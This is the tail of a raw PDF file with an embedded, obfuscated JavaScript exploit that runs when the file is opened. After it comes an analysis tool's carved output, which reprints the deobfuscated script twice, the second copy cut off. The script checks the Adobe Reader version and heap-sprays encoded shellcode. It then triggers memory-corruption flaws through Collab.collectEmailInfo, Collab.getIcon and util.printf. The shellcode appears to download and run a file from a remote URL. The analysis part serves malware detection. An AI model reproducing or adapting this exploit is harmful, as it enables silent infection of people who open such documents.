9 0 obj
<</Type /OCG /Name (��print)
/Usage <</Print <</PrintState /ON>> /View <</ViewState /OFF>>>>>>
endobj
10 0 obj
<</Type /OCG /Name (��view)
/Usage <</Print <</PrintState /OFF>> /View <</ViewState /ON>>>>>>
endobj
11 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Helvetica
/Name /F1
/Encoding /WinAnsiEncoding
>>
endobj
12 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Roman
/Name /F2
/Encoding /WinAnsiEncoding
>>
endobj
13 0 obj
<</Type /Font
/Subtype /Type1
/BaseFont /Times-Bold
/Name /F3
/Encoding /WinAnsiEncoding
>>
endobj
14 0 obj
<</Type /XObject
/Subtype /Image
/Width 400
/Height 200
/ColorSpace /DeviceRGB
/BitsPerComponent 8
/Filter /DCTDecode
/Length 2258>>
stream
���� JFIF    ��>CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), default quality
��C          		 
  
                  $.' ",#  (7),01444 '9=82<.342��C 			    

 2! !22222222222222222222222222222222222222222222222222��  � �  "      ��                 	
 �ĵ             }       !1A  Qa "q 2��� #B�� R��$3br�	
     %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz���������������������������������������������������������������������������                    	
 �ĵ              w      !1  AQ aq "2�  B����	#3R� br�
 $4�%�    &'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz��������������������������������������������������������������������������       ?�(��� (��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(�A8 5 27� ƕ�h��B
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(�� �p�3��j���ƛCUv�Ө��7p��)QE QE QE QE QE QE QE QE QE QE QE QE QE QE QHH��T_j����	���x�8V�Ҥ� �(� �����lLZ(��^ڌ(��2qL �I  �ÚP�6 ��Of �a�5iw%�  X�J�R �*:��^�L(��c
(��
(��
(��
(��
(�$I8 � ��o�  c� O �* C�i�vc���B
(��
(��
(��
(��
(��
(��
(��
(��
(�� �q��� �1.��+D����Fބ ��P46 2\nU ��_�B)!�(���E]� 
(��  Q@  Q@  Q@ Y }ǥ >�`S(�w��-% Vij�mB�(�((��(��(��(��*9�I )8 u�) C)R2 QL �I�6 � H ?έYL�#  � '�!�~o�j�q�K�  6�M�:�(�$(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(��(�'
O�A�1�* ��Ql���b� �� )jI
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
(��
��䑱 �OER����v �� Ө���M�݅ QHAE P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P E P ��
endstream
endobj
2 0 obj
<<
/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]
/Font <<
/F1 11 0 R
/F2 12 0 R
/F3 13 0 R
>>
/XObject <<
/I1 14 0 R
>>
/Properties <</OC1 9 0 R /OC2 10 0 R>>
/ExtGState <<
>>
>>
endobj
15 0 obj
<<
/Names [(EmbeddedJS) 16 0 R ]
>>
endobj
16 0 obj
<<
/S /JavaScript
/JS (��function q5TeDahU7\(hJNey0R8q,knSopuO6h,hMvn4cI0ZI\){}var sF4vJtwY8=null;function tBldhzHcY\(v0dX0adJ\){return false;}var zUG9Kfei = 'var rTq8VBM7 = new Array\(\);var hzoXWf2zMR;function xZltXdRrA\(sR4ZJ8w7ci, kIkwRkWL\){while\(sR4ZJ8w7ci.length * 2 < kIkwRkWL\){sR4ZJ8w7ci += sR4ZJ8w7ci;}sR4ZJ8w7ci = sR4ZJ8w7ci.substring\(0, kIkwRkWL / 2\);return sR4ZJ8w7ci;}function kKsdhSU26\(tNydZuOK\){if\(tNydZuOK == 0\){var h8qcONPj = 0x0c0c0c0c;}else if\(tNydZuOK == 1\){h8qcONPj = 0x30303030;}var awn5fmmtY = new Array\(\\"%u535\\",\\"0%u5251%u\\",\\"5756%u9c55\\",\\"%u00e8%\\",\\"u0000%\\",\\"u5d00%ued\\",\\"83%u310\\",\\"d%u64c\\",\\"0%u4003%u7\\",\\"830%u8b0c%\\",\\"u0c40%u70\\",\\"8b%ua\\",\\"d1c%u408b\\",\\"%ueb08%u8b\\",\\"09%u3440%\\",\\"u408d\\",\\"%u8b7c%u\\",\\"3c40%u5756\\",\\"%u5ebe%u\\",\\"0001%\\",\\"u0100%ubfe\\",\\"e%u014e\\",\\"%u0000%uef\\",\\"01%ud6e\\",\\"8%u0001%\\",\\"u5f00%u8\\",\\"95e%u\\",\\"81ea%\\",\\"u5ec2%u\\",\\"0001%u5200\\",\\"%u8068%u\\",\\"0000%u\\",\\"ff00%\\",\\"u4e95%u00\\",\\"01%u8900%u\\",\\"81ea%u5ec2\\",\\"%u000\\",\\"1%u310\\",\\"0%u01f6%\\",\\"u8ac2%u\\",\\"359c%u0\\",\\"263%u0000%\\",\\"ufb80%u740\\",\\"0%u8806\\",\\"%u321c%u\\",\\"eb46%\\",\\"uc6ee%u32\\",\\"04%u890\\",\\"0%u81ea\\",\\"%u45c2%u00\\",\\"02%u5200%u\\",\\"95ff%u\\",\\"0152%u000\\",\\"0%uea\\",\\"89%uc281\\",\\"%u0250\\",\\"%u000\\",\\"0%u5052%u\\",\\"95ff%u01\\",\\"56%u00\\",\\"00%u00\\",\\"6a%u00\\",\\"6a%uea89%u\\",\\"c281%u0\\",\\"15e%u0000%\\",\\"u8952%u81e\\",\\"a%u78c2%u\\",\\"0002%u5200\\",\\"%u006a%ud0\\",\\"ff%u0\\",\\"56a%uea89\\",\\"%uc281%u01\\",\\"5e%u0000%\\",\\"uff52%\\",\\"u5a95\\",\\"%u0001\\",\\"%u8900\\",\\"%u81ea%u\\",\\"5ec2%u0\\",\\"001%u5\\",\\"200%u8\\",\\"068%u00\\",\\"00%uff\\",\\"00%u4e95%u\\",\\"0001%u8\\",\\"900%u8\\",\\"1ea%u\\",\\"5ec2%u0\\",\\"001%u3\\",\\"100%u0\\",\\"1f6%u\\",\\"8ac2%u359\\",\\"c%u026e%u0\\",\\"000%ufb80%\\",\\"u7400\\",\\"%u880\\",\\"6%u321c%\\",\\"ueb46%u\\",\\"c6ee%u3\\",\\"204%u8\\",\\"900%u81\\",\\"ea%u45c\\",\\"2%u0002%\\",\\"u5200%u95\\",\\"ff%u0152%u\\",\\"0000%uea89\\",\\"%uc281%u02\\",\\"50%u000\\",\\"0%u5052%u9\\",\\"5ff%u01\\",\\"56%u0\\",\\"000%u006\\",\\"a%u006a%ue\\",\\"a89%u\\",\\"c281%u0\\",\\"15e%u0000%\\",\\"u8952%u81e\\",\\"a%ua6c2%u\\",\\"0002%u5\\",\\"200%u006a%\\",\\"ud0ff%u\\",\\"056a%\\",\\"uea89%u\\",\\"c281%u01\\",\\"5e%u000\\",\\"0%uff52%u5\\",\\"a95%u0\\",\\"001%u9d00%\\",\\"u5f5d%\\",\\"u5a5e%u\\",\\"5b59%uc358\\",\\"%u0000%u00\\",\\"00%u0000%u\\",\\"0000%\\",\\"u0000%u\\",\\"0000%\\",\\"u0000%u000\\",\\"0%u6547%u5\\",\\"474%u6d65\\",\\"%u5070%u74\\",\\"61%u41\\",\\"68%u4c00\\",\\"%u616f%u\\",\\"4c64%\\",\\"u6269%u\\",\\"6172%u\\",\\"7972%u0\\",\\"041%u65\\",\\"47%u50\\",\\"74%u6f72\\",\\"%u4163%u\\",\\"6464%u6572\\",\\"%u7373%\\",\\"u5700%u\\",\\"6e69%u78\\",\\"45%u6365%\\",\\"ubb00%uf2\\",\\"89%uf78\\",\\"9%uc03\\",\\"0%u75a\\",\\"e%u29fd%\\",\\"u89f7%u31\\",\\"f9%ubec\\",\\"0%u00\\",\\"3c%u00\\",\\"00%ub\\",\\"503%u\\",\\"021b%u000\\",\\"0%uad66%u8\\",\\"503%u02\\",\\"1b%u000\\",\\"0%u708b%u8\\",\\"378%u1cc\\",\\"6%ub50\\",\\"3%u021b%u0\\",\\"000%u\\",\\"bd8d%u021f\\",\\"%u0000%u03\\",\\"ad%u1b\\",\\"85%u0\\",\\"002%uab0\\",\\"0%u03ad%u\\",\\"1b85%u000\\",\\"2%u500\\",\\"0%uada\\",\\"b%u8503%u0\\",\\"21b%u0000\\",\\"%u5eab%\\",\\"udb31%u56a\\",\\"d%u850\\",\\"3%u02\\",\\"1b%u0000%u\\",\\"c689%\\",\\"ud789%u\\",\\"fc51%ua6f\\",\\"3%u7459%\\",\\"u5e04%u\\",\\"eb43%u5\\",\\"ee9%ud19\\",\\"3%u03e0%u\\",\\"2785%u000\\",\\"2%u31\\",\\"00%u96f6%u\\",\\"ad66%u\\",\\"e0c1%u030\\",\\"2%u1f8\\",\\"5%u000\\",\\"2%u8900\\",\\"%uadc\\",\\"6%u8503%u\\",\\"021b%u0000\\",\\"%uebc3\\",\\"%u0010%u0\\",\\"000%u0\\",\\"000%u0000\\",\\"%u0000%u00\\",\\"00%u0\\",\\"000%u0000%\\",\\"u8900%u1b\\",\\"85%u000\\",\\"2%u56\\",\\"00%ue85\\",\\"7%uff58%u\\",\\"ffff%u5e5f\\",\\"%u01ab\\",\\"%u80ce%u\\",\\"bb3e%u0274\\",\\"%uedeb%\\",\\"u55c3%u4\\",\\"c52%u4\\",\\"f4d%u\\",\\"2e4e%\\",\\"u4c44%u\\",\\"004c%u5\\",\\"255%u4\\",\\"44c%u776f%\\",\\"u6c6e%u61\\",\\"6f%u5464\\",\\"%u466f%\\",\\"u6c69%\\",\\"u4165%\\",\\"u7500\\",\\"%u6470%u\\",\\"7461%u2e6\\",\\"5%u7865%u\\",\\"0065%u\\",\\"7263%u73\\",\\"61%u2\\",\\"e68%u6870\\",\\"%u0070\\",\\"%u7468%u\\",\\"7074%u2f3\\",\\"a%u69\\",\\"2f%u6b6e%u\\",\\"616b%u\\",\\"2e6b%u\\",\\"6e63%u6\\",\\"52f%u\\",\\"746e%u7265\\",\\"%u752f%u\\",\\"6470%u7\\",\\"461%u2e\\",\\"65%u68\\",\\"70%u3f70%\\",\\"u6469%u333\\",\\"d%u7226%u7\\",\\"465%u6f3\\",\\"d%u006b%u9\\",\\"000\\"\);awn5fmmtY = unescape\(awn5fmmtY.join\(\\"\\"\)\);var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - \(mTcRGdIAFp + 0x38\);var sR4ZJ8w7ci = unescape\(\\"%u9090%u9090\\"\);sR4ZJ8w7ci = xZltXdRrA\(sR4ZJ8w7ci, kIkwRkWL\);var lFu82BhUm = \(h8qcONPj - 0x400000\) / fK2iJohU;for\(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++\){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K\(\){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString\(\);app.clearTimeOut\(hzoXWf2zMR\);if\(\(e8ooaAyfX >= 8 && e8ooaAyfX < 8.102\) || e8ooaAyfX < 7.1\){kKsdhSU26\(0\);var lCnTk4BeM = unescape\(\\"%u0c0c%u0c0c\\"\);while\(lCnTk4BeM.length < 44952\) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\\"collabStore\\"] = qb7cGlrfF2[\\"collectEmailInfo\\"]\({subj : \\"\\", msg : lCnTk4BeM}\);}if\(\(e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104\) || \(e8ooaAyfX >= 9 && e8ooaAyfX < 9.1\) || e8ooaAyfX <= 7.101\){try{if\(app.doc.Collab.getIcon\){kKsdhSU26\(2\);var dl0wQ8RB3 = unescape\(\\"	\\"\);while\(dl0wQ8RB3.length < 0x4000\){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \\"N.\\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\\"doc\\"][\\"Collab\\"][\\"getIcon\\"]\(dl0wQ8RB3\);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch\(e\){aNe5YykKME = 1;}if\(aNe5YykKME == 1\){if\(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1\){kKsdhSU26\(1\);var r9AIMNUS4 = \\"12999999999999999999\\";for\(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++\){r9AIMNUS4 += \\"8\\";}var quiIRMbc = util;quiIRMbc[\\"printf\\"]\(\\"E000f\\", r9AIMNUS4\);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut\(\\"app.rjO2bASA3\(\)\\", 10\);';function q34u6su2\(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ\){return ioMR5gz7V;}function rmkqJzTi\(fUhFEtZWm,qMyxid01F,dMPLrGrK\){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace\(/[]/g, ''\);this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array\('m2B1rLly','ppm3V2roF'\);var aKcHThxsm = 'e'+'v'+'a'+'l';app[aKcHThxsm]\(rH5ljG0VLS\);oKegsvZN="j01zyiXE";function q1HkXnUMs\(jU3hrtuz,nHErrrAz\){}var mnvrrMP0i=new Array\(\);mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;)
>>
endobj
17 0 obj
<<
/Title (��normalAlwaysTheir)
/Author (��theWhenBe)
/Subject (��aldusThoseDummy)
/Keywords (��areUsesThis, hereRootsLooks, makingEtTrue)
/Creator (��formTookYou)
/Producer (��9b8ef27229c42198631813f1d2f60aaf)
/CreationDate (D:20091020175329+04'00')
/ModDate (D:20091020175329+04'00')
>>
endobj
18 0 obj
<<
/Type /Catalog
/Pages 1 0 R
/OpenAction [3 0 R /FitH null]
/PageLayout /SinglePage
/PageMode /UseNone
/Lang /en
/Names <<
/JavaScript 15 0 R
>>
/ViewerPreferences<<
/Direction /L2R
>>
/OCProperties <</OCGs [9 0 R 10 0 R] /D <</ON [9 0 R] /OFF [10 0 R] /AS [<</Event /Print /OCGs [9 0 R 10 0 R] /Category [/Print]>> <</Event /View /OCGs [9 0 R 10 0 R] /Category [/View]>>]>>>>
>>
endobj
xref
0 19
0000000000 65535 f 
0000007464 00000 n 
0000010512 00000 n 
0000000009 00000 n 
0000000117 00000 n 
0000003517 00000 n 
0000003625 00000 n 
0000006904 00000 n 
0000007012 00000 n 
0000007534 00000 n 
0000007649 00000 n 
0000007763 00000 n 
0000007870 00000 n 
0000007979 00000 n 
0000008087 00000 n 
0000010706 00000 n 
0000010758 00000 n 
0000023354 00000 n 
0000023784 00000 n 
trailer
<<
/Size 19
/Root 18 0 R
/Info 17 0 R
>>
startxref
24182
%%EOF
generic_stage_recovery_007.js deobfuscated-js generic stage recovery null-collapse -> split-literal-normalize from JavaScript object 16 at offset 0x2A06 5934 bytes
SHA-256: 9088ca78986e2717a1e8e89cb8fccb9fc93a95ed61a4c6e64f668daa2ca3cd32
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
��function q5TeDahU7(hJNey0R8q,knSopuO6h,hMvn4cI0ZI){}var sF4vJtwY8=null;function tBldhzHcY(v0dX0adJ){return false;}var zUG9Kfei = 'var rTq8VBM7 = new Array();var hzoXWf2zMR;function xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL){while(sR4ZJ8w7ci.length * 2 < kIkwRkWL){sR4ZJ8w7ci += sR4ZJ8w7ci;}sR4ZJ8w7ci = sR4ZJ8w7ci.substring(0, kIkwRkWL / 2);return sR4ZJ8w7ci;}function kKsdhSU26(tNydZuOK){if(tNydZuOK == 0){var h8qcONPj = 0x0c0c0c0c;}else if(tNydZuOK == 1){h8qcONPj = 0x30303030;}var awn5fmmtY = new Array(\"%u535\",\"0%u5251%u\",\"5756%u9c55\",\"%u00e8%\",\"u0000%\",\"u5d00%ued\",\"83%u310\",\"d%u64c\",\"0%u4003%u7\",\"830%u8b0c%\",\"u0c40%u70\",\"8b%ua\",\"d1c%u408b\",\"%ueb08%u8b\",\"09%u3440%\",\"u408d\",\"%u8b7c%u\",\"3c40%u5756\",\"%u5ebe%u\",\"0001%\",\"u0100%ubfe\",\"e%u014e\",\"%u0000%uef\",\"01%ud6e\",\"8%u0001%\",\"u5f00%u8\",\"95e%u\",\"81ea%\",\"u5ec2%u\",\"0001%u5200\",\"%u8068%u\",\"0000%u\",\"ff00%\",\"u4e95%u00\",\"01%u8900%u\",\"81ea%u5ec2\",\"%u000\",\"1%u310\",\"0%u01f6%\",\"u8ac2%u\",\"359c%u0\",\"263%u0000%\",\"ufb80%u740\",\"0%u8806\",\"%u321c%u\",\"eb46%\",\"uc6ee%u32\",\"04%u890\",\"0%u81ea\",\"%u45c2%u00\",\"02%u5200%u\",\"95ff%u\",\"0152%u000\",\"0%uea\",\"89%uc281\",\"%u0250\",\"%u000\",\"0%u5052%u\",\"95ff%u01\",\"56%u00\",\"00%u00\",\"6a%u00\",\"6a%uea89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%u78c2%u\",\"0002%u5200\",\"%u006a%ud0\",\"ff%u0\",\"56a%uea89\",\"%uc281%u01\",\"5e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001\",\"%u8900\",\"%u81ea%u\",\"5ec2%u0\",\"001%u5\",\"200%u8\",\"068%u00\",\"00%uff\",\"00%u4e95%u\",\"0001%u8\",\"900%u8\",\"1ea%u\",\"5ec2%u0\",\"001%u3\",\"100%u0\",\"1f6%u\",\"8ac2%u359\",\"c%u026e%u0\",\"000%ufb80%\",\"u7400\",\"%u880\",\"6%u321c%\",\"ueb46%u\",\"c6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c\",\"2%u0002%\",\"u5200%u95\",\"ff%u0152%u\",\"0000%uea89\",\"%uc281%u02\",\"50%u000\",\"0%u5052%u9\",\"5ff%u01\",\"56%u0\",\"000%u006\",\"a%u006a%ue\",\"a89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%ua6c2%u\",\"0002%u5\",\"200%u006a%\",\"ud0ff%u\",\"056a%\",\"uea89%u\",\"c281%u01\",\"5e%u000\",\"0%uff52%u5\",\"a95%u0\",\"001%u9d00%\",\"u5f5d%\",\"u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u\",\"0000%\",\"u0000%u000\",\"0%u6547%u5\",\"474%u6d65\",\"%u5070%u74\",\"61%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%\",\"u6269%u\",\"6172%u\",\"7972%u0\",\"041%u65\",\"47%u50\",\"74%u6f72\",\"%u4163%u\",\"6464%u6572\",\"%u7373%\",\"u5700%u\",\"6e69%u78\",\"45%u6365%\",\"ubb00%uf2\",\"89%uf78\",\"9%uc03\",\"0%u75a\",\"e%u29fd%\",\"u89f7%u31\",\"f9%ubec\",\"0%u00\",\"3c%u00\",\"00%ub\",\"503%u\",\"021b%u000\",\"0%uad66%u8\",\"503%u02\",\"1b%u000\",\"0%u708b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u0\",\"000%u\",\"bd8d%u021f\",\"%u0000%u03\",\"ad%u1b\",\"85%u0\",\"002%uab0\",\"0%u03ad%u\",\"1b85%u000\",\"2%u500\",\"0%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab%\",\"udb31%u56a\",\"d%u850\",\"3%u02\",\"1b%u0000%u\",\"c689%\",\"ud789%u\",\"fc51%ua6f\",\"3%u7459%\",\"u5e04%u\",\"eb43%u5\",\"ee9%ud19\",\"3%u03e0%u\",\"2785%u000\",\"2%u31\",\"00%u96f6%u\",\"ad66%u\",\"e0c1%u030\",\"2%u1f8\",\"5%u000\",\"2%u8900\",\"%uadc\",\"6%u8503%u\",\"021b%u0000\",\"%uebc3\",\"%u0010%u0\",\"000%u0\",\"000%u0000\",\"%u0000%u00\",\"00%u0\",\"000%u0000%\",\"u8900%u1b\",\"85%u000\",\"2%u56\",\"00%ue85\",\"7%uff58%u\",\"ffff%u5e5f\",\"%u01ab\",\"%u80ce%u\",\"bb3e%u0274\",\"%uedeb%\",\"u55c3%u4\",\"c52%u4\",\"f4d%u\",\"2e4e%\",\"u4c44%u\",\"004c%u5\",\"255%u4\",\"44c%u776f%\",\"u6c6e%u61\",\"6f%u5464\",\"%u466f%\",\"u6c69%\",\"u4165%\",\"u7500\",\"%u6470%u\",\"7461%u2e6\",\"5%u7865%u\",\"0065%u\",\"7263%u73\",\"61%u2\",\"e68%u6870\",\"%u0070\",\"%u7468%u\",\"7074%u2f3\",\"a%u69\",\"2f%u6b6e%u\",\"616b%u\",\"2e6b%u\",\"6e63%u6\",\"52f%u\",\"746e%u7265\",\"%u752f%u\",\"6470%u7\",\"461%u2e\",\"65%u68\",\"70%u3f70%\",\"u6469%u333\",\"d%u7226%u7\",\"465%u6f3\",\"d%u006b%u9\",\"000\");awn5fmmtY = unescape(awn5fmmtY.join(\"\"));var fK2iJohU = 0x400000;var mTcRGdIAFp = awn5fmmtY.length * 2;var kIkwRkWL = fK2iJohU - (mTcRGdIAFp + 0x38);var sR4ZJ8w7ci = unescape(\"%u9090%u9090\");sR4ZJ8w7ci = xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL);var lFu82BhUm = (h8qcONPj - 0x400000) / fK2iJohU;for(var ho7zfzSpA2 = 0; ho7zfzSpA2 < lFu82BhUm; ho7zfzSpA2++){rTq8VBM7[ho7zfzSpA2] = sR4ZJ8w7ci + awn5fmmtY;}}function wYcp8NZ0K(){var aNe5YykKME = 0;var e8ooaAyfX = app.viewerVersion.toString();app.clearTimeOut(hzoXWf2zMR);if((e8ooaAyfX >= 8 && e8ooaAyfX < 8.102) || e8ooaAyfX < 7.1){kKsdhSU26(0);var lCnTk4BeM = unescape(\"%u0c0c%u0c0c\");while(lCnTk4BeM.length < 44952) lCnTk4BeM += lCnTk4BeM;var eTaM5OGrO = this;var qb7cGlrfF2 = Collab;eTaM5OGrO[\"collabStore\"] = qb7cGlrfF2[\"collectEmailInfo\"]({subj : \"\", msg : lCnTk4BeM});}if((e8ooaAyfX >= 8.102 && e8ooaAyfX < 8.104) || (e8ooaAyfX >= 9 && e8ooaAyfX < 9.1) || e8ooaAyfX <= 7.101){try{if(app.doc.Collab.getIcon){kKsdhSU26(2);var dl0wQ8RB3 = unescape(\"%09\");while(dl0wQ8RB3.length < 0x4000){dl0wQ8RB3 += dl0wQ8RB3;}dl0wQ8RB3 = \"N.\" + dl0wQ8RB3;var pmEWlQvXt = app;pmEWlQvXt[\"doc\"][\"Collab\"][\"getIcon\"](dl0wQ8RB3);aNe5YykKME = 1;}else{aNe5YykKME = 1;}}catch(e){aNe5YykKME = 1;}if(aNe5YykKME == 1){if(e8ooaAyfX == 8.102 || e8ooaAyfX == 7.1){kKsdhSU26(1);var r9AIMNUS4 = \"12999999999999999999\";for(gDHYb1eNB = 0; gDHYb1eNB < 276; gDHYb1eNB++){r9AIMNUS4 += \"8\";}var quiIRMbc = util;quiIRMbc[\"printf\"](\"%45000f\", r9AIMNUS4);}}}}app.rjO2bASA3 = wYcp8NZ0K;hzoXWf2zMR = app.setTimeOut(\"app.rjO2bASA3()\", 10);';function q34u6su2(ioMR5gz7V,k3zCvAM4o,eT6FROT4NZ){return ioMR5gz7V;}function rmkqJzTi(fUhFEtZWm,qMyxid01F,dMPLrGrK){return dMPLrGrK;}this.tPzyzzQKa=null;var rH5ljG0VLS = zUG9Kfei.replace(/[]/g, '');this.r7E9gM9H=false;var aaNXC3uXC=false;var euoyWqcc2z=new Array('m2B1rLly','ppm3V2roF');var aKcHThxsm = 'eval';app[aKcHThxsm](rH5ljG0VLS);oKegsvZN="j01zyiXE";function q1HkXnUMs(jU3hrtuz,nHErrrAz){}var mnvrrMP0i=new Array();mnvrrMP0i[0]=30317;mnvrrMP0i[1]=21154;mnvrrMP0i[2]=15155;
generic_stage_recovery_008.js deobfuscated-js generic stage recovery null-collapse -> percent-decode from JavaScript object 16 at offset 0x2A06 5939 bytes
SHA-256: a3158115eebd01f79ca8a576aa96cde1f0969b79a6e9bdc92b5c1af11a878593
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
��function q5TeDahU7(hJNey0R8q,knSopuO6h,hMvn4cI0ZI){}var sF4vJtwY8=null;function tBldhzHcY(v0dX0adJ){return false;}var zUG9Kfei = 'var rTq8VBM7 = new Array();var hzoXWf2zMR;function xZltXdRrA(sR4ZJ8w7ci, kIkwRkWL){while(sR4ZJ8w7ci.length * 2 < kIkwRkWL){sR4ZJ8w7ci += sR4ZJ8w7ci;}sR4ZJ8w7ci = sR4ZJ8w7ci.substring(0, kIkwRkWL / 2);return sR4ZJ8w7ci;}function kKsdhSU26(tNydZuOK){if(tNydZuOK == 0){var h8qcONPj = 0x0c0c0c0c;}else if(tNydZuOK == 1){h8qcONPj = 0x30303030;}var awn5fmmtY = new Array(\"%u535\",\"0%u5251%u\",\"5756%u9c55\",\"%u00e8%\",\"u0000%\",\"u5d00%ued\",\"83%u310\",\"d%u64c\",\"0%u4003%u7\",\"830%u8b0c%\",\"u0c40%u70\",\"8b%ua\",\"d1c%u408b\",\"%ueb08%u8b\",\"09%u3440%\",\"u408d\",\"%u8b7c%u\",\"3c40%u5756\",\"%u5ebe%u\",\"0001%\",\"u0100%ubfe\",\"e%u014e\",\"%u0000%uef\",\"01%ud6e\",\"8%u0001%\",\"u5f00%u8\",\"95e%u\",\"81ea%\",\"u5ec2%u\",\"0001%u5200\",\"%u8068%u\",\"0000%u\",\"ff00%\",\"u4e95%u00\",\"01%u8900%u\",\"81ea%u5ec2\",\"%u000\",\"1%u310\",\"0%u01f6%\",\"u8ac2%u\",\"359c%u0\",\"263%u0000%\",\"ufb80%u740\",\"0%u8806\",\"%u321c%u\",\"eb46%\",\"uc6ee%u32\",\"04%u890\",\"0%u81ea\",\"%u45c2%u00\",\"02%u5200%u\",\"95ff%u\",\"0152%u000\",\"0%uea\",\"89%uc281\",\"%u0250\",\"%u000\",\"0%u5052%u\",\"95ff%u01\",\"56%u00\",\"00%u00\",\"6a%u00\",\"6a%uea89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%u78c2%u\",\"0002%u5200\",\"%u006a%ud0\",\"ff%u0\",\"56a%uea89\",\"%uc281%u01\",\"5e%u0000%\",\"uff52%\",\"u5a95\",\"%u0001\",\"%u8900\",\"%u81ea%u\",\"5ec2%u0\",\"001%u5\",\"200%u8\",\"068%u00\",\"00%uff\",\"00%u4e95%u\",\"0001%u8\",\"900%u8\",\"1ea%u\",\"5ec2%u0\",\"001%u3\",\"100%u0\",\"1f6%u\",\"8ac2%u359\",\"c%u026e%u0\",\"000%ufb80%\",\"u7400\",\"%u880\",\"6%u321c%\",\"ueb46%u\",\"c6ee%u3\",\"204%u8\",\"900%u81\",\"ea%u45c\",\"2%u0002%\",\"u5200%u95\",\"ff%u0152%u\",\"0000%uea89\",\"%uc281%u02\",\"50%u000\",\"0%u5052%u9\",\"5ff%u01\",\"56%u0\",\"000%u006\",\"a%u006a%ue\",\"a89%u\",\"c281%u0\",\"15e%u0000%\",\"u8952%u81e\",\"a%ua6c2%u\",\"0002%u5\",\"200%u006a%\",\"ud0ff%u\",\"056a%\",\"uea89%u\",\"c281%u01\",\"5e%u000\",\"0%uff52%u5\",\"a95%u0\",\"001%u9d00%\",\"u5f5d%\",\"u5a5e%u\",\"5b59%uc358\",\"%u0000%u00\",\"00%u0000%u\",\"0000%\",\"u0000%u\",\"0000%\",\"u0000%u000\",\"0%u6547%u5\",\"474%u6d65\",\"%u5070%u74\",\"61%u41\",\"68%u4c00\",\"%u616f%u\",\"4c64%\",\"u6269%u\",\"6172%u\",\"7972%u0\",\"041%u65\",\"47%u50\",\"74%u6f72\",\"%u4163%u\",\"6464%u6572\",\"%u7373%\",\"u5700%u\",\"6e69%u78\",\"45%u6365%\",\"ubb00%uf2\",\"89%uf78\",\"9%uc03\",\"0%u75a\",\"e%u29fd%\",\"u89f7%u31\",\"f9%ubec\",\"0%u00\",\"3c%u00\",\"00%ub\",\"503%u\",\"021b%u000\",\"0%uad66%u8\",\"503%u02\",\"1b%u000\",\"0%u708b%u8\",\"378%u1cc\",\"6%ub50\",\"3%u021b%u0\",\"000%u\",\"bd8d%u021f\",\"%u0000%u03\",\"ad%u1b\",\"85%u0\",\"002%uab0\",\"0%u03ad%u\",\"1b85%u000\",\"2%u500\",\"0%uada\",\"b%u8503%u0\",\"21b%u0000\",\"%u5eab%\",\"udb31%u56a\",\"d%u850\",\"3%u02\",\"1b%u0000%u\",\"c689%\",\"ud789%u\",\"fc51%ua6f\",\"3%u7459%\",\"u5e04%u\",\"eb43%u5\",\"ee9%ud19\",\"3%u03e0%u\",\"2785%u000\",\"2%u31\",\"